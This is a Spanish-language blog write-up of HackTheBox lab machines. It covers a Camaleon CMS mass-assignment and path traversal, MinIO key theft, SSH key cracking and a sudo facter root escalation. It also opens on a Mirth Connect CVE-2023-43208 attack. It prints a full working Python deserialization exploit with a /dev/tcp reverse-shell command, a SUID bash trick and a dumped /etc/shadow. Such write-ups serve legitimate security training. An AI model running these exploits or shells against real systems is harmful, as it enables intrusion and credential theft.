SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x2018900689758BBD93\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sun,\x2001\x20Feb\x202026\x2004:57:21\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>1890
SF:0689758BBD93</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 31 22:57:29 2026 -- 1 IP address (1 host up) scanned in 30.84 seconds

Web Site

El sitio web nos redirige al dominio facts.htb el cual agregamos al archivo /etc/hosts.

❯ curl -sI 10.129.17.99
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 04:59:22 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://facts.htb/

❯

Se menciona que la pagina esta dedicada a trivia.

Existen distintos paginas donde se observan nombres de posibles usuarios.

Directory Brute Forcing

Ejecutamos feroxbuster filtrando respuests 404, este mostro nuevas paginas.

❯ feroxbuster -u http://facts.htb/ -w $CM -C 404
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://facts.htb/
 🚩  In-Scope Url          │ facts.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      124l      552w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET      121l      443w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      114l      532w     6685c http://facts.htb/400
200      GET      114l      371w     4836c http://facts.htb/404
200      GET      114l      574w     7918c http://facts.htb/500
302      GET        0l        0w        0c http://facts.htb/admin => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.pl => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.cgi => http://facts.htb/admin/login
302      GET        0l        0w        0c http://facts.htb/admin.php => http://facts.htb/admin/login
200      GET        0l        0w        0c http://facts.htb/ajax
200      GET       19l      124w     9799c http://facts.htb/captcha
500      GET      114l      574w     7918c http://facts.htb/error
200      GET       66l      519w    44082c http://facts.htb/randomfacts/primary-question-mark.png
404      GET        2l        9w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c http://facts.htb/randomfacts/
200      GET      281l     1177w    19593c http://facts.htb/page
200      GET      151l      507w    11308c http://facts.htb/post
200      GET        1l       12w       99c http://facts.htb/robots.txt
200      GET        1l        2w       33c http://facts.htb/robots
200      GET        8l       11w      183c http://facts.htb/rss
200      GET       69l      448w    30396c http://facts.htb/randomfacts/logopage2.png
200      GET      271l     1166w    19187c http://facts.htb/search
200      GET      129l      132w     3508c http://facts.htb/sitemap
200      GET      129l      132w     3508c http://facts.htb/sitemap.xml
500      GET      114l      574w     7918c http://facts.htb/sitemap.gz
200      GET        1l        4w       73c http://facts.htb/up
❯

Camaleon CMS

Un login para usuarios donde es posible la creacion de cuentas de usuarios.

Ademas, en los headers de la respuesta se indica camaleon_cms.

HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Sun, 01 Feb 2026 05:15:39 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
link: </assets/camaleon_cms/admin/admin-basic-manifest-4a345527ab92050e4ecb0f7d9d30c6090c451165b9ffaf00266b2aa5231cda7f.css>; rel=preload; as=style; nopush,</assets/camaleon_cms/admin/admin-basic-manifest-3896669961ec58669ff8c38eff8ddbde23935fca25fed539252f7705c2b073d1.js>; rel=preload; as=script; nopush
etag: W/"241dcfb2139a8d6436fc8fd3dc9fde35"
cache-control: max-age=0, private, must-revalidate
set-cookie: _factsapp_session=dnPILYaLhxbi5UVZAn3m1Gj30WQ7U2sEGzEk9qYr1Uwv2cU8DirGBpXe8w1pkIQNJx%2BtrITJyIf38AUy067hFPAMnkzHuyciBP0HY9flH2ABXc5csi8jRDCNWYpJOod%2F6zO4tPlcovoesQr%2B0OrEtiiD7pnCDGEelwqDPfKtKLNWObB6P%2FLw84%2BF6837P2GhXciTa7%2Frj4ZIT9SBRfPtyi5f4EIIjzeCpLC9uOb%2FdHaiJ4rlYpS%2FTXmBJEMTSkX6LhBJjF7ksWdquSx5u4FUYAhnqpdHm368NW%2BT%2BrjJ6U0vdVOQAdEoFuBJHvYqNkjW%2BxSOuvS7bUJa9vvvoUSEsGssS%2BHw4EzU5HzoeGVCVOcdaIsiHe%2FBP2Y%3D--Q19qs%2Fysx8NKIhUA--ZC35qa6aAv9qLyUnNqjUVg%3D%3D; path=/; httponly; samesite=lax
x-request-id: f1c61d90-21c8-45ca-b05b-dd2d2d20ba7a
x-runtime: 0.078869
Content-Length: 3896

<!DOCTYPE html>
<html lang="en" class="body-full-height">
<head>
# [... cut ..]

Tras el registro de un usuario identificamos la version 2.9.0.

Puerto 54321

En el puerto 54321 se indica Servidor MinIO. Tras realizar una solicitud muestra acceso denegado.

❯ curl -sI 10.129.17.99:54321
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 213
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Sun, 01 Feb 2026 05:25:43 GMT

❯ 
❯ curl 10.129.17.99:54321
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>1890082748774CF9</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
❯

Segun la documentacion, se indica que necesita credenciales para administrar el bucket. Si se agrega el dominio, este muestra una redireccion al puerto 9001, el cual no esta expuesto.

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html; charset=utf-8
Location: http://facts.htb:9001
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 1890080CBF6AD8B4
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Sun, 01 Feb 2026 05:25:04 GMT
Content-Length: 57

<a href="http://facts.htb:9001">Temporary Redirect</a>.

Camaleon CMS - Privesc

La version de camaleon cms es afectada por la vulnerabilidad Privilege Escalation through a Mass Assignment. En Ruby, existe permit! el cual acepta un array completo sin siquiera verificar los datos, esto permitiria agregar otros parametros. En este caso, cuando la contrasena se cambia, esta es enviada en forma de un array.

def updated_ajax
    @user = current_site.users.find(params[:user_id])
    update_session = current_user_is?(@user)
    @user.update(params.require(:password).permit!)       # VULNERABLE
    render inline: @user.errors.full_messages.join(', ')
    # keep user logged in when changing their own password
    update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Si intentamos cambiar la contrasena a nuestro usuario podemos observar el envio de un array.

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: AzijLgbTlI2uqPtTcpIvbH36ZEeOAzcmQhqaxNELE7xwSZUnVldSQTwTaDzN1vlpiMeF4W0EZbvgHbLyM472qQ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 200
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=xAAGLpkuIR315czed7PtbOoSKB7nR8WslO9ZCq5HnqDSBUYNernJSimv0fnLG%2BDZ%2F5XCUxlSxUU8q5N4D%2FRvi19i3bguc13YqtFID0pEcDn7Fkx5Y0UvQiwjX9Qy6YuWzhuwnE8AtdAk9onBAR3%2F4nbB5UBylRLEywwINtlTvyW9%2ByEn38dy%2BMoqhKuG0VCbeAFV0fNzXQJRX3Rka%2FOq3FvohxV3csBsG8jDmuiI2gKDkrsucpGptnDuSZ%2FMmuQBRstsdi%2B13brb3m1EZzwax%2F6PDVb6Xnws1OEVvEHAiR13JFCKNwrk%2BiINojG6ylRbbQGl80LMZ9lfopVSTlYaaIY4k7ym%2Bs0x4n8OYmIqeABrIfsLWY4CtdN6xzj3KJkw7w0OrLulidYTb0hp6A%3D%3D--vJEeMngF60oOAPKx--iSr8YvwyXmloLiklNKAKqQ%3D%3D; auth_token=eQ5hBZ8DH1rHYMT2_nHoEA&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.15.154
Priority: u=0

_method=patch&authenticity_token=AzijLgbTlI2uqPtTcpIvbH36ZEeOAzcmQhqaxNELE7xwSZUnVldSQTwTaDzN1vlpiMeF4W0EZbvgHbLyM472qQ&password%5Bpassword%5D=1234567890&password%5Bpassword_confirmation%5D=1234567890

El array es password.

`1`	`password[password]=1234567890&password[password_confirmation]=1234567890`

En el registro se observa la definicion de roles para el usuario que por default es client. Para un usuario administrador el rol es admin.

Admin

Realizamos el cambio de contrasena agregando el rol admin a nuestro usuario. Interceptamos la solicitud, editamos y enviamos.

`1`	`password[password]=sckull123&password[password_confirmation]=sckull123&password[role]=admin`

Tras el cambio, se muestra que nuestro rol es administrador.

En la configuracion se define un servicio de almacenamiento, indicando el puerto 54321 donde MinIO esta corriendo.

Path Traversal

Tambien encontramos que existe la vulnerabilidad Arbitrary path traversal que afecta a esta version la cual permite la lectura de archivos. En este caso /etc/passwd donde encontramos que existen los usuarios trivia y wiliam.

MinIO

Con el cliente de MinIO: mc, podemos definir las “credenciales” encontradas para el bucket randomfacts.

1
2
3

❯ ./mc alias set randomfacts http://facts.htb:54321 AKIA956E61DAC1233FA8 cVaZKEQrFDgW6NmwZIiYYEl4vwzhuynSg9siYEEr
Added `randomfacts` successfully.
❯

admin info devuelve informacion del servicio.

❯ ./mc admin info randomfacts
╭───────────────────────────╮                                                                                                  
│  MinIO Cluster: ● Online  │                                                                                                  
╰───────────────────────────╯                                                                                                  
                                                                                                                               
Capacity                                                                                                                       
╭───────────────────────────────────────────────────────────────────────────────╮                                              
│  Used:  5.4 GiB / 7.2 GiB  [██████████████████████████████░░░░░░░░░░]  74.4%  │                                              
│  Free:  1.8 GiB                                                               │                                              
╰───────────────────────────────────────────────────────────────────────────────╯                                              
                                                                                                                               
Servers                                                                                                                        
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮                    
│  ●  facts.htb:54321  │  Uptime: 2 hours   │  Drives: 1/1  │  Pool: 1  │  Version: 2025-09-07T16:13:09Z  │                    
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────╯                    
                                                                                                                               
Pools                                                                                                                          
╭─────────────────────────────────────────────────────╮                                                                        
│  Pool  │  Usage            │  Stripe Size  │  Sets  │                                                                        
│  1st   │  74.4% (7.2 GiB)  │  1            │  1     │                                                                        
╰─────────────────────────────────────────────────────╯                                                                        
                                                                                                                               
Data Summary                                                                                                                   
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│  Used: 36 MiB  │  Buckets: 2  │  Objects: 2,077  │  Delete Markers: 0  │  Drives: 1 online / 0 offline  │  Erasure Code: 0  │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
                                                                                                                               
❯

ls nos permite listar los archivos dentro del bucket.

❯ ./mc ls randomfacts/
[2025-09-11 06:06:52 CST]     0B internal/
[2025-09-11 06:06:52 CST]     0B randomfacts/
❯

tree muestra la lista de directorios.

❯ ./mc tree randomfacts
randomfacts
├─ internal
│  ├─ .bundle
│  │  └─ cache
│  │     └─ compact_index
│  │        └─ rubygems.org.443.29b0360b937aa4d161703e6160654e47
│  │           ├─ info-etags
│  │           ├─ info-special-characters
│  │           └─ info
│  ├─ .cache
│  └─ .ssh
└─ randomfacts
   └─ thumb
❯

Encontramos una clave privada y el archivo authorized_keys.

❯ ./mc ls randomfacts/internal
[2026-01-08 12:45:13 CST]   220B STANDARD .bash_logout
[2026-01-08 12:45:13 CST] 3.8KiB STANDARD .bashrc
[2026-01-08 12:47:17 CST]    20B STANDARD .lesshst
[2026-01-08 12:47:17 CST]   807B STANDARD .profile
[2026-02-01 00:36:27 CST]     0B .bundle/
[2026-02-01 00:36:27 CST]     0B .cache/
[2026-02-01 00:36:27 CST]     0B .ssh/
❯ ./mc ls randomfacts/internal/.ssh
[2026-01-31 21:40:29 CST]    82B STANDARD authorized_keys
[2026-01-31 21:40:29 CST]   464B STANDARD id_ed25519
❯ ./mc cat randomfacts/internal/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCbydJFSr
iLHvxfHSUmPz85AAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIPoYuLqG9SDYfx1n
YLxkUGDcxAFRa9rFdyvFg3wEuD7pAAAAoBCJGRdc3UohfJqfPIgxxVL1UPwrBO4n6V5mvn
Wa74u0m6NjfbZJxYqOpft5uNTsak/i66vaUEKJr/booY6UVma4bpiHlfs4k4q22URUSMY7
LGSkfpcxFrOUACmizvctlmS3sveanf1OeDwI0vxdAyCb0bX/VC+1EH46rRSurXFxHfq3lv
OHlGB9cMGsl9Dfd0xyzMNCIqce8Cngw45Cdzo=
-----END OPENSSH PRIVATE KEY-----
❯ ./mc cat randomfacts/internal/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPoYuLqG9SDYfx1nYLxkUGDcxAFRa9rFdyvFg3wEuD7p 
❯

La clave privada esta protegida.

❯ chmod 600 id_ed25519
❯ ssh trivia@facts.htb -i id_ed25519
Enter passphrase for key 'id_ed25519': 
trivia@facts.htb's password: 

❯

Crack The Hash

Obtuvimos el hash mediante ssh2john y crackeamos este con john.

❯ ssh2john id_ed25519
id_ed25519:$sshng$6$16$9bc9d2454ab88b1efc5f1d25263f3f39$290$6f70656e7373682d6b65792d7631000000000a6165733235362d6374720000000662637279707400000018000000109bc9d2454ab88b1efc5f1d25263f3f390000001800000001000000330000000b7373682d6564323535313900000020fa18b8ba86f520d87f1d6760bc645060dcc401516bdac5772bc5837c04b83ee9000000a0108919175cdd4a217c9a9f3c8831c552f550fc2b04ee27e95e66be759aef8bb49ba3637db649c58a8ea5fb79b8d4ec6a4fe2ebabda504289aff6e8a18e945666b86e988795fb38938ab6d9445448c63b2c64a47e973116b3940029a2cef72d9664b7b2f79a9dfd4e783c08d2fc5d03209bd1b5ff542fb5107e3aad14aead71711dfab796f38794607d70c1ac97d0df774c72ccc34222a71ef029e0c38e42773a$24$130
❯ ssh2john id_ed25519 > hash
❯ john hash --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)     
1g 0:00:01:40 DONE (2026-02-01 01:22) 0.009940g/s 31.80p/s 31.80c/s 31.80C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
❯

User - Trivia

Utilizamos la frase para la clave privada con el usuario trivia por SSH logrando obtener una shell.

❯ ssh trivia@facts.htb -i id_ed25519
Enter passphrase for key 'id_ed25519': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 07:25:12 AM UTC 2026

  System load:           0.0
  Usage of /:            73.5% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             221
  Users logged in:       1
  IPv4 address for eth0: 10.129.17.99
  IPv6 address for eth0: dead:beef::250:56ff:feb0:ced


0 updates can be applied immediately.

trivia@facts:~$ whoami;id;pwd
trivia
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
/home/trivia
trivia@facts:~$

Privesc

El usuario puede ejecutar como root el script de ruby facter.

trivia@facts:~$ sudo -l -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:

Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/usr/bin/facter
trivia@facts:~$ file /usr/bin/facter
/usr/bin/facter: Ruby script, ASCII text executable
trivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)
trivia@facts:~$

La ejecucion nos muestra informacion del sistema.

trivia@facts:~$ sudo facter
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c2967e20ea19ef110cf6b958a20e",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
  }
}
dmi => {
  bios => {
    release_date => "11/12/2020",
    vendor => "Phoenix Technologies LTD",
    version => "6.00"
  },
  board => {
    manufacturer => "Intel Corporation",
    product => "440BX Desktop Reference Platform",
    serial_number => "None"
  },
  chassis => {
    asset_tag => "No Asset Tag",
    type => "Other"
  },
  manufacturer => "VMware, Inc.",

# [ .. cut .. ]

system_uptime => {
  days => 0,
  hours => 3,
  seconds => 13719,
  uptime => "3:48 hours"
}
timezone => UTC
virtual => vmware
trivia@facts:~$

Especificamos la flag --custom-dir en el directorio actual donde creamos un “fact” o un archivo ruby con la ejecucion del comando whoami. Con dicha flag ejecutaria todos los archivos Ruby en el directorio.

Tras la ejecucion se muestra root como el usuario.

trivia@facts:~$ nano file.rb
trivia@facts:~$ cat file.rb 
system("whoami")
trivia@facts:~$ sudo facter --custom-dir=$(pwd) 
root
disks => {
  sda => {
# [ .. cut .. ]

Shell

Asignamos la creacion de una copia de bash con permisos SUID.

trivia@facts:~$ which bash
/usr/bin/bash
trivia@facts:~$ nano file.rb 
trivia@facts:~$ cat file.rb 
system("cp /usr/bin/bash /usr/bin/sc")
system("chmod u+s /usr/bin/sc")

trivia@facts:~$

La ejecucion creo la copia.

trivia@facts:~$ sudo facter --custom-dir=$(pwd) | head
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c2967e20ea19ef110cf6b958a20e",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c2967e20ea19ef110cf6b958a20e"
  }
trivia@facts:~$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.7M Feb  1 07:43 /usr/bin/sc
trivia@facts:~$

Con ello logramos escalar privilegios, obtener las flags user.txt y root.txt.

trivia@facts:~$ /usr/bin/sc -p
sc-5.2# whoami
root
sc-5.2# cd /root
sc-5.2# ls
minio-binaries	ministack  root.txt  snap
sc-5.2# cat root.txt
7ab46d7606afb1571fe684300a50c3c0
sc-5.2# cat /home/william/user.txt
407fc88c5e29ad88876774bb2e2d48ca
sc-5.2#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

sc-5.2# cat /etc/shadow
root:$y$j9T$7gs6EMa6c.zpFgKM3Grtz.$q8L7RyD.tdOf9DEhsqmEYBdKBrmxJ60ItpltO/x2nSB:20342:0:99999:7:::
daemon:*:20003:0:99999:7:::
bin:*:20003:0:99999:7:::
sys:*:20003:0:99999:7:::
sync:*:20003:0:99999:7:::
games:*:20003:0:99999:7:::
man:*:20003:0:99999:7:::
lp:*:20003:0:99999:7:::
mail:*:20003:0:99999:7:::
news:*:20003:0:99999:7:::
uucp:*:20003:0:99999:7:::
proxy:*:20003:0:99999:7:::
www-data:*:20003:0:99999:7:::
backup:*:20003:0:99999:7:::
list:*:20003:0:99999:7:::
irc:*:20003:0:99999:7:::
_apt:*:20003:0:99999:7:::
nobody:*:20003:0:99999:7:::
systemd-network:!*:20003::::::
usbmux:!:20003::::::
systemd-timesync:!*:20003::::::
messagebus:!:20003::::::
systemd-resolve:!*:20003::::::
pollinate:!:20003::::::
polkitd:!*:20003::::::
syslog:!:20003::::::
uuidd:!:20003::::::
tcpdump:!:20003::::::
tss:!:20003::::::
landscape:!:20003::::::
fwupd-refresh:!*:20003::::::
sshd:!:20338::::::
trivia:$y$j9T$1fYkuzD9.m5y7SwWSTUqh/$hb29dYfEthOUaEZr8D1GriIfSkeu8YeiI2WWxMmoiG0:20342:0:99999:7:::
william:$y$j9T$L/LMpuHMall7H5uzpS/mL1$L1EJ9y7BdcE10UIxBSow2eStbt1SefLToaTh4hDacD2:20461:0:99999:7:::
_laurel:!:20479::::::
sc-5.2#

HackTheBox - Interpreter

sckull — Sat, 30 May 2026 00:00:00 +0000

En Interpreter corre Mirth Connect en una version vulnerable que permitio el acceso inicial. La base de datos alojaba el hash de contrasena para un nuevo usuario. Finalmente escalamos privilegios con la explotacion de una vulnerabilidad en un script de Python.

Nombre	Interpreter 0
OS	Linux
Puntos	30
Dificultad	Medium
Fecha de Salida	2026-02-21
IP	10.129.4.89
Maker	ReziT
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [227, 170, 637, 526, 490, 168, 95, 20, 13, 30], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).

# Nmap 7.95 scan initiated Mon Feb 23 23:36:12 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,6661 -sV -sC -oN nmap_scan 10.129.4.89
Nmap scan report for 10.129.4.89
Host is up (0.067s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 23:39:17 2026 -- 1 IP address (1 host up) scanned in 184.74 seconds

Web Site

El puerto 80 muestra Mirth Connect.

Para el puerto 443, muestra el mismo contenido pero con un formulario de login.

El boton Launch Mirth Connect Administrator descarga el archivo webstart.jnlp donde se indica la version 4.4.0

❯ cat ~/Downloads/webstart.jnlp|head
<jnlp codebase="https://10.129.4.89:443" version="4.4.0">
    	
    <information>
        		
        <title>Mirth Connect Administrator 4.4.0</title>
        		
        <vendor>NextGen Healthcare</vendor>
        		
        <homepage href="http://www.nextgen.com"/>
        		
❯

User - Mirth

CVE-2023-43208

NextGen Mirth Connect tiene una vulnerabilidad tipo RCE en la version 4.4.0, confirmamos con una solicitud a la API.

1
2
3

❯ curl -k -H 'X-Requested-With: OpenAPI' https://10.129.4.89:443/api/server/version ; echo
4.4.0
❯

Encontramos un exploit el cual simplificamos. El payload contiene una estructura XML con el comando a ejecutar dentro del metodo exec al endpoint /api/users.

import argparse
import requests
import sys
import urllib3

urllib3.disable_warnings()

if len(sys.argv) < 1:
    print(f"Usage: {sys.argv[0]} command")
    sys.exit(0)

MIRTH_URL = 'https://10.129.4.89'
endpoint = "/api/users"
headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0",
        "X-Requested-With": "OpenAPI",
        "Content-Type": "application/xml"
        }
proxies = {'https':'127.0.0.1:8080'}

def payload(cmd):
    cmd = cmd.replace("&", "&amp;")
    cmd = cmd.replace("<", "&lt;")
    cmd = cmd.replace(">", "&gt;")
    cmd = cmd.replace('"', "&quot;")
    cmd = cmd.replace("'", "&apos;")


    payload = f'''<sorted-set>
    <string>abcd</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
                <iTransformers>
                    <org.apache.commons.collections4.functors.ConstantTransformer>
                        <iConstant class="java-class">java.lang.Runtime</iConstant>
                    </org.apache.commons.collections4.functors.ConstantTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>getMethod</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                            <java-class>[Ljava.lang.Class;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>getRuntime</string>
                            <java-class-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>invoke</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.Object</java-class>
                            <java-class>[Ljava.lang.Object;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <null/>
                            <object-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>exec</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>{cmd}</string>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
                <string>compareTo</string>
            </eventTypes>
        </handler>
    </dynamic-proxy>
</sorted-set>'''
    return payload

def send_exploit(payload):
    r = requests.post(url = MIRTH_URL + endpoint, 
                        headers=headers, 
                        data=payload,
                        timeout=20,
                        verify=False,
                        proxies = proxies)

def main():
    parser = argparse.ArgumentParser(description="Task Runner / Shell Connector")

    # Command
    parser.add_argument("-cmd", type=str, help="Execute a single command")    

    # Shell
    parser.add_argument("-shell", action="store_true", help="Initialize shell mode")
    parser.add_argument("-lhost", type=str, help="Local host IP for shell")
    parser.add_argument("-lport", type=int, help="Local port for shell")

    args = parser.parse_args()

    if args.cmd:
        print(f"[*] Executing Command: {args.cmd}")
        command = send_exploit(payload(args.cmd))
    elif args.shell:
        if not args.lhost or not args.lport:
            print("[-] Error: -shell requires both -lhost and -lport")
            sys.exit(1)
        print(f"[*] Initializing shell on {args.lhost}:{args.lport}")
        shell_cmd = f"sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/{args.lhost}/{args.lport};sh <&53 >&53 2>&53'"
        send_exploit(payload(shell_cmd))        
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

Confirmamos la ejecucion con curl.

❯ python exploit.py 'curl 10.10.15.149'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 500 Request failed.</title>
</head>
<body><h2>HTTP ERROR 500 Request failed.</h2>
<table>
<tr><th>URI:</th><td>/api/users</td></tr>
<tr><th>STATUS:</th><td>500</td></tr>
<tr><th>MESSAGE:</th><td>Request failed.</td></tr>
<tr><th>SERVLET:</th><td>org.glassfish.jersey.servlet.ServletContainer-2176ac82</td></tr>
</table>

</body>
</html>

❯

Observamos que la solicitud al servidor.

1
2
3

❯ httphere .
